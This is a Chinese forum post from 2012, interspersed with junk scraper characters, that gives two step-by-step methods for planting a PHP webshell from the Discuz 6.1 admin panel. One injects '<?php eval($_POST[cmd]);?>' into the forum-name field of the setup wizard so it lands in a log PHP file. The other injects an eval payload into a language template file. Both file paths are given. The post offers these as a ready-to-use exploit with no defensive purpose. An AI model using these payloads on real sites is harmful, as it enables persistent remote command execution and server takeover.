discuz6.1两种方法后台拿shell- s% ~- R. C' x# T
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下2 H. U1 F7 K: k
1:' [( {6 \8 q' E# S; b; c h
http://127.0.0.1/discuz/admincp. ... zard&frames=yes( r( Q/ M9 d/ e* Y
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
7 ? ]/ P I; l<?php eval($_POST[cmd]);?>
% q$ T# _& G" j* V2 C后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
4 k) o0 B7 s. Y% L8 E0 {; c0 Y) x, k& e8 _6 U
$ Y Q4 s& F8 t* g# Z2:后台模板管理--默认模板套系--详情
' C+ R& Q2 w4 z J/ n- e7 wtemplates/default/actions.lang.php
- m* C$ O! K8 V" B, |jhackj\\');eval($_POST[cmd])?>;//
+ P* d m7 ~' A+ U3 o& ?4 F1 l2 g7 J4 T1 c+ |
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对